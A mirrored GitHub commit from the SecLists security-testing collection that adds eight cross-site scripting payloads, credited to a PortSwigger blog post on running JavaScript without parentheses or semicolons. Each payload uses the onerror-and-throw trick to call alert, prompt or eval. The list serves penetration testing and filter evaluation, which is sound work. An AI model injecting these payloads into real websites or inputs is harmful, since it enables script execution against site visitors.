mirror of
https://github.com/danielmiessler/SecLists
synced 2025-12-06 08:53:59 +01:00
Add XSS without parentheses and semi-colons
Source: https://portswigger.net/blog/xss-without-parentheses-and-semi-colons
This commit is contained in:
parent
a176d0ccff
commit
3fc464d156
1 changed files with 8 additions and 0 deletions
|
|
@ -0,0 +1,8 @@
|
|||
<script>onerror=alert;throw 1337</script>
|
||||
<script>{onerror=alert}throw 1337</script>
|
||||
<script>throw onerror=alert,'some string',123,'haha'</script>
|
||||
<script>{onerror=eval}throw'=alert\x281337\x29'</script>
|
||||
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
|
||||
<script>{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}</script>
|
||||
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>
|
||||
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
|
||||
Loading…
Reference in a new issue